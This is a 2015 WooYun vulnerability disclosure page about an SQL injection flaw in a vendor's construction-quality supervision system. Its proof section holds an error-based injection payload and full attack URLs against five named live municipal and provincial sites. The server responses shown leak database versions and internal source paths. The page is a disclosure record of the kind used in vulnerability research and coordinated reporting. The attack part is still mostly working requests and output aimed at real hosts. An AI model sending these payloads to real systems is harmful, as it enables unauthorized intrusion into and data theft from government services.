当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110724

漏洞标题：某建设工程质量监督系统SQL通用漏洞 涉及部分市

相关厂商：珠海新华通软件股份有限公司

漏洞作者： 雅柏菲卡

提交时间：2015-04-28 10:39

修复时间：2015-07-29 17:02

公开时间：2015-07-29 17:02

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-28： 细节已通知厂商并且等待厂商处理中
2015-04-30： 厂商已经确认，细节仅向厂商公开
2015-05-03： 细节向第三方安全合作伙伴开放
2015-06-24： 细节向核心白帽子及相关领域专家公开
2015-07-04： 细节向普通白帽子公开
2015-07-14： 细节向实习白帽子公开
2015-07-29： 细节向公众公开

简要描述：

...........

详细说明：

......................

漏洞证明：

以下均采用 ' and (select @@version)>0 -- - 作为测试语句  
1、洛阳市
http://www.lygczl.cn/mainpage/DataInfomation/SearchResouce.aspx?T=%27%20and%20(select%20@@version)%3E0%20--%20-&H=&S=sd
“/”应用程序中的服务器错误。
在将 nvarchar 值 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) 
Jul  9 2008 14:17:44 
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
' 转换成数据类型 int 时失败。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 
异常详细信息: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) 
Jul  9 2008 14:17:44 
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
' 转换成数据类型 int 时失败。
源错误: 
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
堆栈跟踪: 
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) 
	Jul  9 2008 14:17:44 
	Copyright (c) 1988-2008 Microsoft Corporation
	Enterprise Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
' 转换成数据类型 int 时失败。]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1953274
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4849707
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
   System.Data.SqlClient.SqlDataReader.HasMoreRows() +157
   System.Data.SqlClient.SqlDataReader.ReadInternal(Boolean setTimeout) +216
   System.Data.SqlClient.SqlDataReader.Read() +9
   System.Data.Common.DataAdapter.FillLoadDataRow(SchemaMapping mapping) +78
   System.Data.Common.DataAdapter.FillFromReader(DataSet dataset, DataTable datatable, String srcTable, DataReaderContainer dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +164
   System.Data.Common.DataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +353
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +164
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +287
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) +94
   WebDAL.AppServiceProvider.ExecuteDataSet(String mSql) in E:\BS综合系统\洛阳监管\优化部监管标准版\WebDAL\AppServiceProvider.cs:82
   WebDAL.AppServiceProvider.GetWebSiteColumnInfo(String mTJ) in E:\BS综合系统\洛阳监管\优化部监管标准版\WebDAL\AppServiceProvider.cs:640
   NewTopWebSite.WebHomePage.UCInfoDataList.ExcPublic(Int64 mID) +1832
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.btnSearch_Click(Object sender, EventArgs e) +1845
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.Page_Load(Object sender, EventArgs e) +398
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +14
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +35
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +50
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +627
版本信息: Microsoft .NET Framework 版本:2.0.50727.4016; ASP.NET 版本:2.0.50727.4016
2、潍坊市
http://www.wfjdz.com/mainpage/DataInfomation/SearchResouce.aspx?T=%27%20and%20(select%20@@version)%3E0%20--%20-&H=&S=sd
“/”应用程序中的服务器错误。
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
Apr  2 2010 15:53:02 
Copyright (c) Microsoft Corporation
Enterprise Edition on Windows NT 5.2 <X86> (Build 3790: Service Pack 2)
' 转换成数据类型 int 时失败。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 
异常详细信息: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
Apr  2 2010 15:53:02 
Copyright (c) Microsoft Corporation
Enterprise Edition on Windows NT 5.2 <X86> (Build 3790: Service Pack 2)
' 转换成数据类型 int 时失败。
源错误: 
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
堆栈跟踪: 
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
	Apr  2 2010 15:53:02 
	Copyright (c) Microsoft Corporation
	Enterprise Edition on Windows NT 5.2 <X86> (Build 3790: Service Pack 2)
' 转换成数据类型 int 时失败。]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1959034
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4876523
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1121
   System.Data.SqlClient.SqlDataReader.HasMoreRows() +206
   System.Data.SqlClient.SqlDataReader.ReadInternal(Boolean setTimeout) +185
   System.Data.SqlClient.SqlDataReader.Read() +9
   System.Data.Common.DataAdapter.FillLoadDataRow(SchemaMapping mapping) +72
   System.Data.Common.DataAdapter.FillFromReader(DataSet dataset, DataTable datatable, String srcTable, DataReaderContainer dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +164
   System.Data.Common.DataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +353
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +164
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +287
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) +94
   WebDAL.AppServiceProvider.ExecuteDataSet(String mSql) +188
   WebDAL.AppServiceProvider.GetWebSiteColumnInfo(String mTJ) +220
   NewTopWebSite.WebHomePage.UCInfoDataList.ExcPublic(Int64 mID) in E:\soft Code\监督系统\潍坊BS系统\MainPage_Developed\MPage\UCInfoDataList.ascx.cs:93
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.btnSearch_Click(Object sender, EventArgs e) in E:\soft Code\监督系统\潍坊BS系统\MainPage_Developed\DataInfomation\SearchResouce.aspx.cs:68
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.Page_Load(Object sender, EventArgs e) in E:\soft Code\监督系统\潍坊BS系统\MainPage_Developed\DataInfomation\SearchResouce.aspx.cs:32
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +14
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +35
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +50
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +627
版本信息: Microsoft .NET Framework 版本:2.0.50727.5485; ASP.NET 版本:2.0.50727.5491
3、郑州市
http://125.46.87.55/zz_xhtsys/mainpage/DataInfomation/SearchResouce.aspx?T=%27%20and%20(select%20@@version)%3E0%20--%20-&H=&S=sd
“/ZZ_XHTSYS”应用程序中的服务器错误。
在将 nvarchar 值 'Microsoft SQL Server 2012 - 11.0.2100.60 (X64) 
Feb 10 2012 19:39:15 
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' 转换成数据类型 int 时失败。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 
异常详细信息: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2012 - 11.0.2100.60 (X64) 
Feb 10 2012 19:39:15 
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' 转换成数据类型 int 时失败。
源错误: 
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
堆栈跟踪: 
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2012 - 11.0.2100.60 (X64) 
	Feb 10 2012 19:39:15 
	Copyright (c) Microsoft Corporation
	Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' 转换成数据类型 int 时失败。]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950874
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4857035
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1121
   System.Data.SqlClient.SqlDataReader.HasMoreRows() +206
   System.Data.SqlClient.SqlDataReader.ReadInternal(Boolean setTimeout) +185
   System.Data.SqlClient.SqlDataReader.Read() +9
   System.Data.Common.DataAdapter.FillLoadDataRow(SchemaMapping mapping) +72
   System.Data.Common.DataAdapter.FillFromReader(DataSet dataset, DataTable datatable, String srcTable, DataReaderContainer dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +164
   System.Data.Common.DataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +353
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +164
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +287
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) +94
   WebDAL.AppServiceProvider.ExecuteDataSet(String mSql) +188
   WebDAL.AppServiceProvider.GetWebSiteColumnInfo(String mTJ) +220
   NewTopWebSite.WebHomePage.UCInfoDataList.ExcPublic(Int64 mID) +2245
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.btnSearch_Click(Object sender, EventArgs e) +1845
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.Page_Load(Object sender, EventArgs e) +398
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +14
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +35
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +50
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +627
版本信息: Microsoft .NET Framework 版本:2.0.50727.5472; ASP.NET 版本:2.0.50727.5456
4、兰州市
http://www.lzjszj.com/mainpage/DataInfomation/SearchInfo.aspx?T=%27%20and%20(select%20@@version)%3E0%20--%20-&H=&S=sd
Server Error in '/' Application.
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
Apr  2 2010 15:48:46 
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)
' 转换成数据类型 int 时失败。
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. 
Exception Details: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
Apr  2 2010 15:48:46 
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)
' 转换成数据类型 int 时失败。
Source Error: 
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace: 
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
	Apr  2 2010 15:48:46 
	Copyright (c) Microsoft Corporation
	Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)
' 转换成数据类型 int 时失败。]
   XHT.Data.DAO_Sql.ExecuteDataset(String commandText, Dictionary`2 sqlParams, String srcTable) +267
   XHT.Data.DAO_Sql.ExecuteDataset(String commandText, Dictionary`2 sqlParams) +57
   XHT.Data.DAO_Sql.ExecuteDataset(String commandText) +75
   WebDAL.WEB_Mainpage.GetWebSiteColumnInfo(String mTJ, String mID) +238
   WEBBLL.WEB_MainPage.GetWebSiteColumnInfo(String mTJ, String mID) +65
   MainPage_DataInfomation_SearchInfo.ExcPublic(String mTJ) +40
   MainPage_DataInfomation_SearchInfo.btnSearch_Click(Object sender, EventArgs e) +404
   MainPage_DataInfomation_SearchInfo.Page_Load(Object sender, EventArgs e) +182
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +51
   System.Web.UI.Control.OnLoad(EventArgs e) +92
   System.Web.UI.Control.LoadRecursive() +54
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +772
Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.17929
5、贵州省
http://www.gzsjsjc.com/MainPage/DataInfomation/SearchResouce.aspx?T=%27%20and%20(select%20@@version)%3E0%20--%20-&H=&S=sd
“/”应用程序中的服务器错误。
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
Apr  2 2010 15:53:02 
Copyright (c) Microsoft Corporation
Enterprise Edition on Windows NT 6.0 <X86> (Build 6001: Service Pack 1)
' 转换成数据类型 int 时失败。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 
异常详细信息: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
Apr  2 2010 15:53:02 
Copyright (c) Microsoft Corporation
Enterprise Edition on Windows NT 6.0 <X86> (Build 6001: Service Pack 1)
' 转换成数据类型 int 时失败。
源错误: 
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
堆栈跟踪: 
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) 
	Apr  2 2010 15:53:02 
	Copyright (c) Microsoft Corporation
	Enterprise Edition on Windows NT 6.0 <X86> (Build 6001: Service Pack 1)
' 转换成数据类型 int 时失败。]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
   System.Data.SqlClient.SqlDataReader.HasMoreRows() +157
   System.Data.SqlClient.SqlDataReader.ReadInternal(Boolean setTimeout) +197
   System.Data.SqlClient.SqlDataReader.Read() +9
   System.Data.Common.DataAdapter.FillLoadDataRow(SchemaMapping mapping) +78
   System.Data.Common.DataAdapter.FillFromReader(DataSet dataset, DataTable datatable, String srcTable, DataReaderContainer dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +164
   System.Data.Common.DataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +353
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +164
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +287
   System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) +94
   WebDAL.AppServiceProvider.ExecuteDataSet(String mSql) in H:\SVN源码管理\VS2008\贵州省协会系统\WebDAL\AppServiceProvider.cs:82
   WebDAL.AppServiceProvider.GetWebSiteColumnInfo(String mTJ) in H:\SVN源码管理\VS2008\贵州省协会系统\WebDAL\AppServiceProvider.cs:577
   NewTopWebSite.WebHomePage.UCInfoDataList.ExcPublic(Int64 mID) in H:\SVN源码管理\VS2008\贵州省协会系统\MainPage_Developed\MPage\UCInfoDataList.ascx.cs:94
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.btnSearch_Click(Object sender, EventArgs e) in H:\SVN源码管理\VS2008\贵州省协会系统\MainPage_Developed\DataInfomation\SearchResouce.aspx.cs:68
   NewTopWebSite.MainPage.DataInfomation.SearchResouce.Page_Load(Object sender, EventArgs e) in H:\SVN源码管理\VS2008\贵州省协会系统\MainPage_Developed\DataInfomation\SearchResouce.aspx.cs:32
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +14
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +35
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +50
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +627
版本信息: Microsoft .NET Framework 版本:2.0.50727.3623; ASP.NET 版本:2.0.50727.3618

修复方案：

...................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-04-30 17:00

厂商回复：

已转相关单位。

最新状态：

暂无